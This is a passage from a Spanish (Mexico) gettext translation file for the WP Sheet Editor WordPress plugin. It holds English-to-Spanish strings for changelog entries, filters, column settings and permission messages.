                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_MX.po000064400001165603147600365160016724 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_MX\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: 